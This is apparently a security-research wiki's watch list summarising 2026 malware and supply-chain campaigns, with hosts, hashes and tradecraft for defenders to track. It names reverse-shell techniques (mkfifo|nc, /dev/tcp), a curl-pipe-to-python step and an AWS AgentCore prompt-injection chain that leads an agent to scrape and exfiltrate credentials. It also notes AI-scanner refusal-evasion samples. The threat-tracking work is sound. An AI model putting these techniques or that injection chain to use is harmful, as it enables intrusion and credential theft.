HTML watch; monitor TeamPCP/Mini Shai-Hulud follow-ups such as the hijacked @bitwarden/cli@2026.4.0 package, bw_setup.js / bw1.js, encrypted Checkmarx-lookalike exfiltration, and GitHub commit-search PAT and fallback-domain staging; targeted NuGet business-logic manipulation such as Newtonsoftt.Json.Net using Harmony runtime patching and Seq-shaped exfiltration to rig Digitain betting results, PyPI import-time compromises such as Xinference and durabletask, optional-dependency GitHub-commit delivery, cloud/Kubernetes lateral-movement payload evolution, malicious developer/AI packages abusing platforms such as Hugging Face for CDN/exfiltration or prompt theft, cryptocurrency-developer package lures such as Solana FakeFix npm/PyPI patched-SDK packages, Injective SDK wallet-key theft follow-ups where runtime wrapper paths and X-Request-Id header exfiltration change scoping, GitHub issue spam, Telegram C2, fake MEV private-key prompts, and Deno loader persistence, PostCSS-themed npm impersonation such as postcss-minify-selector-parser / aes-decode-runner-pro leading to PowerShell and Nuitka Windows RATs, Rollup polyfill masquerading packages such as rollup-packages-polyfill-core / rollup-runtime-polyfill-core with JSONKeeper staging, browser/wallet theft, and Socket.IO / node-pty remote access, package-directory editor-task execution such as html-to-gutenberg / fetch-page-assets hiding VS Code folderOpen tasks behind fake font assets and blockchain dead drops, browser-side package-registry abuse such as Lucide Proxy student web proxies turning visitors into Wisp / WebSocket DDoS nodes, Miasma / @redhat-cloud-services follow-up indicators such as type-only package install hooks, GitHub commit-search C2, camouflage exfil destinations, and AI-scanner prompt-injection / refusal-evasion samples, plus IronWorm-style native Rust npm infostealers with eBPF rootkits, Tor C2, backdated GitHub commits, and trusted-publishing propagation; also monitor high-signal Linux/container-host vulnerability research such as DirtyClone / CVE-2026-43503 DirtyFrag-family local privilege escalation; promoted July 30, 2026: "SQLite Critical CVEs or LLM Slop?", a newly created programmervuln/cveadvisory- GitHub repository published a batch of SQLite vulnerability advisories (CVE-2026-51302 / -51303 / -51300 / -51297 / -51296 / -51304) plus 50+ other CVEs that NVD flagged critical and CISA ADP agreed with; JFrog's isolated ASan-instrumented verification found the cited functions do not exist in the claimed versions, the claimed 3.51.2→3.51.3 "patch" made no change to src/expr.c, the PoCs do not crash, none appear on SQLite's official advisory page, and the advisories flag AI-generated under GPTZero; Red Hat downgraded CVE-2026-51302 from 10.0 to 7.6 after initial scoring, see the LLM-slop false CVEs pattern page, and monitor follow-ups, other affected products in the batch, and NVD/CISA corrections) and JFrog Blog RSS https://jfrog.com/blog/feed/ (watch npm v12 explicit-trust install controls such as allowScripts, --allow-git, and `--allow-remo... [truncated]
• JFrog Spring-CVE "Critical" context analysis, https://research.jfrog.com/post/when-critical-loses-context-spring-cves/ (September 3, 2026; triage of the August 20 Broadcom/Spring 91-CVE batch: CISA ADP rated six CVEs "Critical" on 08-20 but per-CVE re-derivation diverges sharply from the ADP band, CVE-2026-47884 spring-webmvc 9.8 ADP vs 5.8 vendor (conditional RCE via legacy XsltView, ~33 GitHub imports), CVE-2026-47890 webmvc/webflux 9.8 vs 2.6 (SSE \r stream corruption, no code exec/data leak), CVE-2026-47891 spring-web 9.8 vs 4.3 (memory exhaustion only), CVE-2026-47892 webflux 9.8 vs 4.8 (non-default config), CVE-2026-59313 webmvc 9.8 vs 2.6 (same SSE bug as 47890), CVE-2026-59283 spring-expression 9.1 vs 6.5; structural cause: NIST stopped enriching non-KEV / non-federal-critical / non-EO14028 CVEs in April 2026, NVD backlog >27,000, 2026 YTD 58,482 CVEs (+45% vs 2024, +20.9% vs 2025); durable read: ADP band is a triage signal, not an emergency, patch in normal cycle unless the specific endpoint + config is exposed; monitor KEV additions for any of the six. See Spring 91-CVE batch page)
• JFrog ChainDrop follow-up, https://research.jfrog.com/post/shai-hulud-is-back-august/ (August 4 priority follow-up; monitor its 428-package / 1,700-version live inventory, repository and GitHub Actions infection artifacts, Ethereum-resolved /router C2, additional file hashes, npm Xray IDs, cleanup state, victim execution, and whether reusable Shai-Hulud: Here We Go Again markers support lineage without proving TeamPCP operator identity.)
• SafeDep ChainDrop follow-up, https://safedep.io/keyv-npm-supply-chain-compromise/ (August 4 priority follow-up; monitor the 444-package / 2,234-version / 12-organization snapshot, poisoned latest tags, repeated-version growth, source-staged but unpublished @keyv/* siblings, publisher-specific OIDC versus direct-token paths, registry cleanup, and reconciliation of its no-embedded-C2-host claim with StepSecurity and JFrog's Ethereum-resolved dynamic HTTPS channel.)
• SafeDep fake-TradingView macOS stealer (WEEVILPROXY/JSCEAL lineage) (August 21 priority follow-up; a paid Google video ad on YouTube drove a fake .pkg that installed a self-healing LaunchAgent watchdog (com.microsoft.service.systemhelperwatcher.v8mgfk) re-fetching a shell stager from Cloudflare-fronted velvetforge.net / cedarengine.com every five minutes. The stager runs a GET /script eval loop gated on launchd and a mislabeled application/pdf content type, authenticates with X-Machine-Id and a hard-coded HS256 JWT (aud=coordination), and silently sudo-es via a plaintext password cached at /Users/Shared/.passwd. The payload is an 18.6 MB AES-256-CBC-encrypted V8 code cache (key 2e1ba69f…) loaded through a signed Node.js binary plus NODE_OPTIONS=--require, evading Gatekeeper; six 0.<hash>.node ncc modules add keylogging, ScreenCaptureKit/CGVirtualDisplay capture, keychain access, UI automation, and a local TLS-terminating MITM proxy on 127.0.0.1:49313 backed by a rogue root CA in the System keychain. Monitor the velvetforge.net / cedarengine.com C2 rotation, latest_v*_setup*.pkg filename changes, utm_campaign=o429-12.2 campaign-tag variants, the WEEVILPROXY (WithSecure) / JSCEAL (Check Point Research) lineage confirmation, additional victim scope, and whether the macOS-variant persistence label or domains are named in a public writeup. Preserve SafeDep's explicit inference-not-attribution caveat: no public report names this macOS variant, its domains, or its persistence label.)
• JFrog arrayref / proc-macro1 crates.io compromise (August 20 priority follow-up; monitor the droundy-account three-crate compromise (arrayref 0.3.10, internment 0.8.7, append-only-vec 0.1.9) plus the proc-macro1 1.0.107 typosquat carrier, JFrog Xray IDs, build.rs split-base64 C2 staging, per-OS stage-3 blob names (/tmp/rust-setup, %TEMP%\rust-setup.ps1, .vbs launcher), clean-version pins, and stage-2 endpoint state.)
• Wiz Research arrayref stage-2 / DPRK overlap (August 20 priority follow-up; monitor the stage-2 implant recovered from Google Threat Intelligence samples, POST /49890878 beaconing, Chrome/Brave/Edge SQLite saved-login enumeration, kill/minicfg/startup/runscript commands, per-OS persistence (HKCU Run / LaunchAgent / systemd user service), DGA .com fallback, AES-128-GCM config under the hardcoded key i am botking with an embedded RSA-2048 private key, and the stage-2 SHA1 set, plus Wiz's DPRK-overlap assessment: shared /49890878 beacon path and SSL issuer with the Mastra/Sapphire Sleet campaign IPs and the 23.254.164.0/23 Hostwinds range, and 23.254.167[.]216 in GCTI's UNC1069 axios analysis. Preserve the correlation-not-attribution caveat until a named-actor assessment or takedown links the operations. RustSec advisories now published (see the active watch topic above); still watch droundy account recovery, any new arrayref release, and a CVE assignment.)
• SafeDep DirtyBlanket npm→AUR→SSH worm + Ossprey follow-through (September 29, 2026, both captured full text by this wiki Oct 1 → campaign page; monitor: re-registration of the nine delete-only names (xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd, all un-published 13:38:29-13:38:42 UTC Sep 29 with NO security-holder = re-registerable), npm action on account dirtyblanket, whether the three Internet Archive snapshots (20260929052210 linux.sh / 20260929052301 systemd-fontd / 20260929052436 node.js) survive IA takedown requests, whether the operator adds curl -L (chain currently fails on Wayback 302s), the Windows PowerShell branch (commented out at example.org placeholder), OSV records for the three record-less names, confirmed victim/AUR-poisoning scope (upgpkg: commits dated ≥ Sep 29), and copycat Wayback-fed loaders. IoCs: CHAOS ELF 2c9dbc14…, linux.sh 65f0a95b…/d6d78ef8…, node.js f7fd41c7…/e255d473…, onion s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid[.]onion:80, /usr/lib/systemd/systemd-fontrenderd, email s7dwzxru4z@ooynib[.]com.)
• CloudSEK MALFEX npm operator campaign (September 30, 2026, full text captured by this wiki Oct 1 → campaign page; OCT 7 SEVENTH-DAY ENFORCEMENT UPDATE (this wiki, one-hundred-and-seventh sweep, same-day enforcement section): THE MONITOR FIRED IN FULL, three GHSAs 20:48:28-20:51:33Z Oct 7 (function-flag =1.7.3, function-color =1.0.0+1.7.3, cdn-img-fetch =1.0.0+1.0.3), function-flag 1.7.3 unpublished 26 s BEFORE its own GHSA, OSV mirror ~21:30Z minted MAL-2026-17647/17648 for the history-less names and REWROTE MAL-2026-17320 versions to [1.0.0,1.0.3]; AND THE REGRESSION: function-flag dist-tags.latest is now malicious 4.0.0 (armed stager to apicdn.squareweb.app/.../svchost.exe → %APPDATA%\malfex.exe, tgz sha 749c8032…) OUTSIDE every advisory range on the name; infra collapse same window: cavecrew/proj 404, both banners 404, bypasscdn.onrender.com + apicdn.squareweb.app + raw Discord attachment all dead, only 104.234.65.75:700 answers; 14-month clock measured at ~14.7 months unadvised. MONITOR NOW: npm re-seizure of 4.0.0, cdn-img-fetch@1.0.4 registry action, 104.234.65.75:700 closure, malfex* re-registration. Prior, OCT 1 THIRTY-SIXTH SWEEP UPDATE: cdn-img-fetch iterated through its own exposure, 1.0.3 Sep 30 03:43 UTC swaps import-time fetch target banner.png→banner.jpg, 1.0.4 Sep 30 23:07 UTC removes the fetch entirely (clean-latest ≠ clearance, PhantomSub precedent); MAL-2026-17320 landed covering 1.0.0-1.0.1 ONLY = live range 1.0.2-1.0.4 advisory-free; cavecrew/proj re-pushed Sep 30 00:18 UTC, both banner files live (8,231,030 / 6,204,416 B, no image magic = encrypted stages); monitor: npm takedown of the still-unadvised live names (function-flag 533 dl/wk and function-color, both zero OSV at this wiki's Oct 1 15:10 UTC check; cdn-img-fetch now partially advised), whether Amazon Inspector extends MAL-2026-17320 to 1.0.2-1.0.4 or revises MAL-2026-17216 to flag the cdn-img-fetch dependency it names in its own text, ANY new cdn-img-fetch publish or fetch-line re-add (heartbeat #1), cavecrew/proj push events + banner-file size drift (heartbeat #2), 104.234.65.75:700 (STILL OPEN at Oct 1 15:20 UTC) + Discord-webhook liveness, Overlord build's live Solana-memo C2 usage, and TOPHIT Part 2 (VHX Harvester vast.ai GPU-cryptojacking panel sharing 69.48.229.140, port 8080 dead at this wiki's Oct 1 check; @prime0 scope 404 = removed.))
• SafeDep Baileys / libsignal-node npm campaign (OCT 12 one-hundred-and-tenth sweep: THE ENFORCEMENT ENDPOINT, OSV MAL-2026-17811-17845, 35 CONTIGUOUS npm records 15:13:38-16:27:03Z, 35/35 GHSA-at-birth, every name 0.0.1-security-holdered within ±2 min, the eleven-name @revizahoshii/hoshino-* scope purged inside ONE second; returning confirmed scopes @mikudeveloper/@alipclutch(418 dl/wk)/@badzz88/@fazzcodestudio; four never-re-created registry docs leak the lifetimes the other 31 holder-recreations destroyed, @xrelly-stack/bails ≈108 days / 1,106 dl/wk = longest family exposure on record; zombie version lists enumerate 404 tarballs; node-telegram-sockets = first Telegram-grammar name in the lane → wave section; monitor 35-name re-registration, scope-survivor scans, hoshino-brand↔newsletter link; OCT 12 one-hundred-and-eleventh sweep: the wave's immediate aftermath caught a STAGING-STUB RE-ARM, @yudzxml/baileys 0.0.0-stage publish 16:28:58Z → npm security holder +57 s → GHSA+OSV +89 s AFTER the holder (MAL-2026-17846/GHSA-qh6w-wgpq-j344) = publish-event-triggered seizure on previously-deleted names, survivor time block preserves 17 phantom 7.x versions May-Sep + 905 dl/wk → re-arm follow-up**.) Earlier follow-up: monitor the fork-based campaign of 70 confirmed Baileys-based package names (343 versions) plus 15 libsignal-node impersonators (38 versions) that abuse the installer's already-paired WhatsApp session to force-follow attacker channels, inject an advertising URL into outgoing media, forge channel attribution on outgoing messages, or block the bot account (self-DoS) via a base64 gintoki authorisation gate. Monitor levvleys.json / LevviCodeID/Levi4than and levvicode[.]cloud operator rotation, additional confirmed packages against the 4,250-name / 112-name registry namespaces, registry removals that pre-empt source analysis (e.g. @diezyyasha/libsignal-node), confirmed victim scope, whether forced-follow channels carry further payloads or monetisation, and spread of the remote-follow-list pattern to other multi-device bot libraries. Preserve SafeDep's scoping: confirmed set is a lower bound, no broader actor identity asserted, and the campaign is non-consensual social abuse shipped through npm, not credential theft, distinct from the ChainDrop / Mini Shai-Hulud and arrayref operations.)
• Elastic Security Labs coding-agent hook audit (August 11 priority follow-up; monitor the 280-line dependency-free bash hook collector and elastic/elasticsearch-labs filestream integration for the planned Windows PowerShell port and Claude Code follow-up, the growth of logged tool-call events (13M+ from 1,100+ machines / ~900 users since May 2026), whether blocking/allow-deny hook controls are added beyond the current record-everything sensor posture, and adoption of the ai_hooks.* field-level-security privacy pattern by other teams. Defensive-telemetry reference; no actor or campaign attribution.)
• GTIG Russian auth-focused clusters (UNC6293 / UNC7005 / UNC5976) (August 20 priority follow-up; monitor Google's three suspected-Russian cyber-espionage clusters abusing legitimate authentication flows against academia, aerospace/defense, government, and think-tank targets in Europe and the U.S. UNC6293 (assessed an Ice Relic / APT29 sub-cluster) runs small-scope diplomatic app-password and OAuth phishing; UNC7005 / Storm-2945 ran May-June 2026 WhatsApp device-linking spoofing (linking the victim's account to an attacker device to record audio/video and harvest credentials), added Vidar / Atomic (AMOS) infostealers against U.S. targets around May 2026, and began Google OAuth phishing via FOC-spoofing domains from July 31 / August 6-13, 2026 against European defense-industry targets; UNC5976 (active since at least March 2026) harvests Google OAuth tokens through file-sharing-themed domains plus per-domain Cloud projects and delivered a HEADRUSH Excel-plugin HTA possibly targeting a Ukrainian aerospace/imaging company. Preserve Google's assessment caveats: "suspected Russian," Ice-Relic sub-cluster relationship not multi-agency confirmed. Monitor for the CaptiveCrunch cross-link (Microsoft, ongoing since early May 2026), Lumen Black Lotus Labs' suspected MSP supply-chain compromise (~70 victim IPs; 40 unique IPs beaconing to CaptiveCrunch C2, 30 to AiM token-harvesting infrastructure, 1 to ChocoShell C2) and confirmation of the MSP scope, plus infrastructure rotation after Google's disruption of UNC5976's 12+ domains and any new FOC-spoofing domains.)
• Recorded Future Insikt Group (HTML watch for actor/tool research with durable defender value, relayed via secondary outlets such as The Hacker News; August 28, 2026: HOOKEDGE batch-script backdoor cluster "BlueDelta", APT28 moderate-confidence attribution against Romanian/Spanish/Turkish government and diplomatic targets, webhook.site two-stage C2 architecture, HEADLACE lineage → ops/apt28-hookedge-backdoor-european-gov-diplomatic-august-2026.md)
• Unit 42 Research (OCTOBER 22, 2026 (this wiki, 178th sweep): "EMudhra Intermediate CA Certificates Compromised" (17:15:32Z) FULL TEXT CAPTURED -> eMudhra page: eight intermediate CA private keys derivable from public certs (insufficient randomness), revoked cACompromise Oct-18 09:24-09:38Z, report-to-root-programs Oct-17 18:05Z per CCADB bug 2083449, zero confirmed abuse at capture, TWO code-signing intermediates in the eight, Sectigo cross-signed copies a separate distrust path, reporter live curl trust self-tests; same-feed PHP2Shell threat brief folded onto the PHP2Shell page (22.6M Cortex Xpanse exposed instances, PoC seen, >=1 EU government website taken offline as precaution). OAuth-landscape report below bar. Prior, OCTOBER 16, 2026 (this wiki, 108th sweep): "AI-Powered Espionage Campaign Targets Government Linux Infrastructure" (published Oct 15 22:00:09Z), FULL TEXT CAPTURED same-window from the article page → new ops page: CL-UNK-1211 AI-generated-payload government-Linux espionage: Oct 2025-Apr 2026 campaign vs government + state-affiliated Linux infrastructure; persistence via auto_prepend_file hijack across EVERY /etc/php + /opt/plesk/php config (shell posing as /usr/lib/php/plesk_sys_driver.php); .bashrc sudo-alias password interceptor logging to Solarwinds.StatusLog.txt (SolarWinds name misused, no compromise evidence); SysGoRAT cross-platform Go RAT, WebSocket wss:///ws, hardcoded 104.194.158[.]65:443, 7-command set incl TCP proxy relay, renamed sys-control-client/pip2.7/ea_install/./semanage; in-memory reverse shells (mkfifo|nc, /dev/tcp, python dup2) across ≥7 C2s; qmail mailbox enumeration → search_social.php → broken zip_mails.sh (social-media account access via gov mail); anti-forensics: pgrep/pkill vs Cortex XDR (blocked), touch -t timestomp, mass log delete + verify-script, FALSE-FLAG red-team disguise RedTeamOps2025 + pentest123. AI tells: operator-addressed reasoning comments in deployed scripts, section headers, heavy base64, PHP/JS/Bash/Python fluidity, the shipped-broken generation artifact. UNK attribution preserved (nation-state vs cybercrime undetermined). MONITOR: attribution naming, SysGoRAT outside gov targets, auto_prepend_file copycats, reasoning-comment signature spread (CL-CRI-1131 overlap recorded, not identity). Prior, OCTOBER 15, 2026 (this wiki, 135th sweep): "Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant" (published Oct 14 22:00:44Z), FULL TEXT CAPTURED same-day -> new tools page: PEERSTITCH ARM64 memory-resident FortiGate implant: CL-STA-0954/UNC5820 Sept-2024 telecom MSP intrusion, CVE-2024-47575 FortiJump on FortiManager -> rogue-device registration exfiltrates .tm archive = configs + reversible-ciphertext creds + PRIVATE KEYS of 500+ managed FortiGates -> brute-forced creds reused as legitimate SSL/VPN sessions -> sniffer pushes downstream -> CVE-2025-61624 auto-script traversal root-write -> PEERSTITCH ptrace-injects miglogd + iked (no disk, no ports, marker-grammar IPC 8550/169.254.0.1 via /proc/pid/mem, NOP-sled disables the logging daemon's own tamper detection) -> Apache mod_md MDChallengeDns01=/bin/node ACME reverse shell. TRANSPORT MECHANIC CAPTURED: the Unit 42 RSS feed serves only a 253-byte excerpt, full text comes from the article page (fetched 200, load-bearing IoC strings string-verified against served HTML). MONITOR: UNC5820 attribution updates, ptrace+/proc/mem grammar on other appliance families, MDChallengeDns01-to-interpreter copycats off-Fortinet, MSP client-network disclosure fallout, Fortinet response to FGFM trust-material longevity. Lands the same day as KEV rows CVE-2026-0322 PAN-OS + CVE-2026-76519 Cisco SEG + Ahsay pair = synchronized bad week for edge-fleet vendors. Prior, OCTOBER 7, 2026 (22:00 UTC): "Evolution of Web3 in Cloud Supply Chain Attacks", FULL TEXT CAPTURED by this wiki Oct 8 (direct slug 404, wp-json link + proxy read) -> ChainDrop page Web3-C2-evolution section: three-phase Web3 C2 architecture (EtherHiding contract-state → transaction-payload stego → zero-data NullReceiver fallback, hybrid multi-mechanism deployment, PolinRider multi-chain TRON/Aptos/BSC), ChainDrop formalized as build-process-MEMORY scraper of ephemeral IAM/CI/OIDC tokens (short-lived-token policy is NOT a bound; harvest window = the build) with project-open/AI-session-start persistence, 400+ npm packages; headline defensive control = negative egress baseline: if the org never needs blockchain egress, deny JSON-RPC egress = whole-class control. PRIORITY-WATCH relevance: architecture reference for every resolver-class loader hunt on this wiki. MONITOR: Phase-2/3 first-sighting on a new campaign, and whether egress-deny adoption shows up in bypass research. Prior, OCTOBER 6, 2026: "Blinder Tunnel Campaign Targets Iraqi Infrastructure", FULL TEXT CAPTURED SAME-DAY -> new page: Blinder Tunnel / CL-STA-1178: Iranian state-aligned actor, fake Dubai Airports recruitment lure, weaponized .csproj design-time-build execution, GitHub-API C2 with Issues-search dead-drop fallback (HTML-comment ciphertext, per-victim machineId key), tools ShelbyLoader V2 / PsProxy / ShelbyC2 V2 / Blackwood zero-disk Chisel; GitHub takedown already executed by the platform. MONITOR: regrowth under new Peaky-themed accounts (the dead-drop grammar survives takedown by design, hunt yyyymmdd+is:issue search shape + <!-- ciphertext pattern in public-issue traffic), any CVE assignment, whether AppDomainManager-hijacking frequency keeps climbing per Unit 42's trend claim, and copycat adoption of the .csproj design-time vector. Also today: NetScaler zero-days brief now lists sibling CVE-2026-88771/-88772 exploitation detail unchanged since Sep 30. Prior, SEPTEMBER 30, 2026: "Threat Brief: NetScaler Zero Days CVE-2026-88771 and CVE-2026-88772 Exploited in the Wild", full text captured → NetScaler zero-day web-shells page; monitor actor attribution for both chains (Unit 42 names no one), post-compromise analysis promised, whether the GetUserName/NSPPE/.ctxs.receiver hunt rules catch other clusters, and patch compliance vs the 50,277 exposed base. Also Sep 29: OperTraitors Kubernetes-operator security-posture betrayal research (below bar, agentic-AI operator-risk angle). Earlier: September 18, 2026: "A Vault with a Heap-View", AWS AgentCore Harness default-on root shell tool + AgentCore Identity vault credentials resolved plaintext in PID 1 heap: indirect prompt injection (hidden HTML comment in a support ticket, curl <script> | python3) -> root code exec same-UID as harness PID 1 -> scan /proc/1/maps + /proc/1/mem for JWT + MCP URL -> exfil the OPERATOR's service-account JWT (not the caller's) -> replay against the downstream MCP server with no AWS creds -> PII. AWS closed HackerOne #3747844 as informative (Jun 10) under shared responsibility, citing allowedTools scoping + egress filtering as customer-side controls; allowedTools scopes at InvokeHarness time not CreateHarness; durable reads: shell tool = the new perimeter, vaults protect at rest/in-transit not IN USE, see AgentCore heap-exfiltration pattern page; monitor AWS posture change, CVE assignment, any in-the-wild harness-injection sighting, and copycat findings against other managed agent runtimes (Vertex Agent Engine, Copilot Studio, Bedrock agents). September 16, 2026: AMOS stealer lab snapshot (already on the AMOS tool page), indicators rotate constantly, behavioral chain is the durable defense. Earlier: watch recurring npm threat-landscape updates for Shai-Hulud/Mini Shai-Hulud wave metrics, SLSA/OIDC findings, containment-order warnings, cloud-identity tradecraft such as ROADtools / Entra ID abuse, cloud-control-plane defense-evasion research such as AWS CloudTrail / Google Cloud Logging route, destination, and KMS tampering, cross-cloud storage namespace risks such as bucket hijacking through deleted/recreated object-storage destinations, high-signal actor updates such as Screening Serpens / MiniUpdate / MiniJunk and CL-STA-1062 / UAT-7237 Southeast Asia government and critical-energy intrusions with TinyRCT, OT / industrial-control vulnerability research such as Siemens RUGGEDCOM ROX II CVE-2025-40948 / CVE-2025-40947 / CVE-2025-40949 chains from file disclosure to persistent root access, Miasma / Mini Shai-Hulud lineage updates such as AsyncAPI miasma-train-p1 AI/editor-driven runtime execution and canary-controlled propagation, collaboration-tool phishing / identity guidance such as Microsoft Teams external-chat abuse and federation hardening, large-scale credential campaigns such as FortiBleed cross-service password spraying against Fortinet / Sophos / MSSQL and configuration-theft feedback loops and the August 2026 TheHatman forum-sold Entra tenant credential claims, cybercrime-economy updates that add durable TeamPCP / TGR-CRI-1135 monetization context such as LAPSUS$ / Vect extortion partnerships or public Shai-Hulud tooling claims, ransomware-economy and operational updates such as The Gentlemen / Storm-2697 / ArmCorp / Qilin affiliate-volume and affiliate-payout reporting, AI-agent skill supply-chain research such as Behavioral Integrity Verification for OpenClaw registry skills and ClawHub follow-ups covering unblocked macOS infostealer skills, scanner file-padding evasion, runtime affiliate injection, and agentic front-running, LLM-assisted malware engineering such as TuxBot v3 Evolution IoT botnet framework development, AI incident-response trend updates such as AI-compressed attack timelines, LLM/MCP-assisted C2, agentic ransomware, and cloud-AI token jacking, AI-hallucination supply-chain research such as Phantom Squatting where models invent domains that adversaries can pre-register for phishing, API/documentation poisoning, and autonomous-agent traffic capture, cloud-AI model lifecycle flaws such as Vertex AI default staging-bucket squatting / Pickle in the Middle, macOS malvertising/backdoor evolution such as CL-CRI-1089 Operation FlutterBridge / FlutterShell, and commodity stealer/miner campaigns with durable detection value such as Vidar / XMRig Factory-v3 malvertising, Go loader file inflation, fake Authenticode branding, MpClient.dll sideloading, and AMSI bypass tradecraft; September 10, 2026 follow-up: "How Attackers Spoof Workload Identities in SPIFFE/SPIRE", post-exploitation research showing an attacker with root on a Kubernetes node can abuse the SPIRE agent's k8s workload-attestation logic (identity reconstructed from /proc/<pid>/mountinfo and /proc/<pid>/cgroups, cgroupv2 path) to impersonate co-located workloads and harvest their SVIDs, because the agent does selector-subset matching, one spoofable cgroup field is enough to earn a victim's SVID; with root the attacker manipulates the cgroup metadata its process advertises so the agent misattributes selectors and issues the victim's SVID, so workload identity isolation collapses and lateral movement uses legitimate credentials, not stolen secrets; not observed in the wild (defensive disclosure); the Spooffe open-source tool automates node scan → mock-cgroup replication → SPIRE-agent SVID dump to measure the "root = all node-scoped identities" area of impact; mitigation = node hardening, restrict root/privileged containers, narrow selectors, treat node root as full-identity compromise, see the patterns page)
• Unit 42 State of AI-Enabled Malware, August 2026 (August 25 priority follow-up; telemetry-grounded census of AI-enabled malware from 405 unique SHA-256 hashes, only 12 samples in production telemetry on Cortex XDR-protected endpoints and ~15-20 forwarded to WildFire, so roughly 97% exists only in sandboxes, research repositories, and security-validation platforms. Every production sample was detected and blocked by conventional local-analysis + behavioral + WildFire-cloud-verdict mechanisms; watch FunkSec seven-variant Rust ransomware iteration (Jan 1-6, 2025, LLM-assisted development indicators via PDB project-name rotation), the since-revoked-certificate Recipe Lister NSIS installer (50+ organizations, 6,500+ endpoint profile records), the fake-Dropbox AutoIt loader side-loading Oyster (CleanBoost), and the Rhadamanthys stealer AI-enabled chain; monitor for CVE assignments, independent replication, and production-telemetry updates) -> patterns/unit42-state-of-ai-enabled-malware-august-2026.md
• Unit 42 NOVA frontier-AI autonomous vulnerability discovery (August 4, 2026, "The Frontier AI Vulnerability Burst," updated August 10; two months of fully autonomous scanning across 3,915 open-source projects produced 14,090 confirmed vulnerabilities, 99.4% previously unreported, ~40% High/Critical under CVSS 4.0, with 85 later-matching public records read as evidence of rival autonomous scans; 5,421 supply-chain findings with validated downstream PoCs; every frontier model in the 14-project controlled evaluation contributed unique findings; monitor Project Lightwell / Akrites disclosure cadence, CVE backfill and patch-verification against the 85-overlap set, independent replication of the multi-model-ensemble claim, and whether the patch-window-collapse heuristic changes defender triage policy) -> patterns/unit42-nova-frontier-ai-autonomous-vulnerability-discovery-august-2026.md
• Unit 42 machine-speed agentic intrusion incident (September 2, 2026, "An AI-Assisted Cyber Attack: Inside a Unit 42 Investigation," updated September 3 to clarify it was an intrusion, not a ransomware deployment; a human attacker used frontier AI models and attack-specific agentic frameworks to autonomously breach an enterprise network as part of a ransom attack, 50+ MITRE ATT&CK techniques (T1190, T1046, T1552.001, T1555, T1578, T1078; ATLAS AML.T0000/T0002/T0014/T0016/T0010/T0043) compressed into under 10 hours vs an estimated ~2 weeks of human red-team effort; chain: public-facing web breach → recon-agent microservice mapping → repo secrets scraping → secrets-manager master-credential theft → CI/CD pipeline hijack + cloud-key exfiltration (Terraform backdoor stopped by hard branch protection) → victim's own AI endpoints repurposed as post-compromise infrastructure (AML.T0043 LLM invocations via stolen API keys); agentic-usage tells: parallel LLM calls to multiple frontier agents, structured Markdown inter-agent handoff files, AI-generated custom scripts with UI elements, bursty 401/200 API loops, redundant overlapping persistence (SSH keys, serverless, container restart policies, cloud identities, CI/CD); the attacker directed the agent to leave an 80-page technical security-posture audit; monitor for independent replication, named-actor attribution, and whether the ATLAS mapping becomes the de-facto vocabulary for agentic-intrusion detection) -> ops/unit42-ai-assisted-cyber-attack-machine-speed-agentic-intrusion-september-2026.md
• Unit 42 CL-CRI-1131 / CL-CRI-1163 LLM-orchestrated LATAM campaigns (September 3, 2026, "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America," Reese Lewis / Sara McBroom; two ongoing multi-stage intrusion + exfiltration campaigns: CL-CRI-1131 Mexican transportation campaign (transportation org + federal ministries + municipal water utilities in Mexico and Ecuador; LotL numbered batch scripts with visible LLM trial-and-error on SAM/NTDS dumps; exfil pivot 62.171.185[.]97 → Let's Encrypt multi-SAN cert on m-doxa-apodo.duckdns[.]org with target-revealing subdomains apodo/geo/intel/vacunas/repuve/sre; Feb 27 → Apr 20 → Jun 19 2026 cert rotation to 178.128.87[.]160 hosting an internet-exposed NextChat multi-model LLM UI on :3000; CloudSEK tracks this as "Operation Escaneo," Gambit reported the Feb 2026 wave) and CL-CRI-1163 Brazilian financial campaign (Feb 2026 resume-themed phishing → homebrewed RATs → Go reverse-SOCKS5 SockTz v1-v9 install attempts in a 2-hour window from a compromised WordPress site, then hxxp[:]//167.148.195[.]53:8888/socktz_v9.exe; open staging directory at 167.148.195[.]53 exposing hundreds of LLM-tell scripts, *_output identifiers, exploit_creative.py / exploit_careful.py / rce_focused.py; SHA-256 a38b2cf8… / 87bf8bc8…); overlapping SOCKS5 relay infrastructure ties the clusters; 167.148.195[.]53 + SockTz previously tied by Trend Micro to JBoss targeting in the SHADOW-AETHER-064 cluster; monitor for infrastructure rotation (m-doxa-*.duckdns[.]org, 178.128.87[.]160, 167.148.195[.]53), NextChat re-deployment, and attribution that confirms or rejects a single operator across both clusters) -> ops/unit42-clcri-1131-1163-llm-orchestrated-latam-campaigns-september-2026.md
• Unit 42 Spring Ring Teams vishing campaigns (August 31, 2026, "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams," Noam Sala; Jan-Apr 2026 operation, 150+ employees at 10+ orgs via external .onmicrosoft[.]com help-desk personas, chat→voice vishing, Campaign A RMM/Quick Assist into obfuscated AMSI-bypassing PowerShell RAT at san-sid[.]com, Campaign B tailored per-victim S3 dropper → vhlp/scnr persistence + headless Edge extension sideload + Python SMB scan → blocked PetitPotam NTLM-relay DC coercion; monitor for actor attribution, infrastructure rotation (san-sid[.]com, S3 bucket patterns), and Cloaked Ursa / APT29 linkage) -> ops/spring-ring-teams-vishing-rmm-petitpotam-campaigns-unit42-august-2026.md
• Unit 42 direct-to-IP malware research (August 4 follow-up; monitor the \\GET exfiltration campaign, Phorpiex delivery, SectopRAT educational targeting, Mozi, and Boatnet for destination and port rotation, victim scope, sample and protocol changes, actor attribution, and independent validation of direct-to-IP prevalence.)
• Unit 42 Kimwolf v7 analysis (August 11 priority follow-up; monitor Android TV and set-top-box infection scope, residential-proxy access to unauthenticated ADB, external loader changes, ENS records, Tor hidden-service and localhost-proxy rotation, the rpcuniverse[.]com facade assessment, the 22-host AS202799 cluster, HTTP/2 fingerprint changes, DDoS victim scope, and independent validation of the Kimwolf/AISURU same-operator assessment.)
• Unit 42 trusted communication-channel identity risk research (August 20 priority follow-up; monitor the 12-month 4x growth in collaboration-tool endpoint alerts, the 99% chat-phishing share, trusted-channel social-engineering mechanics (compromised accounts, external federation, guest access), MFA-approval and credential-handoff lures, and any named actor or tooling.)
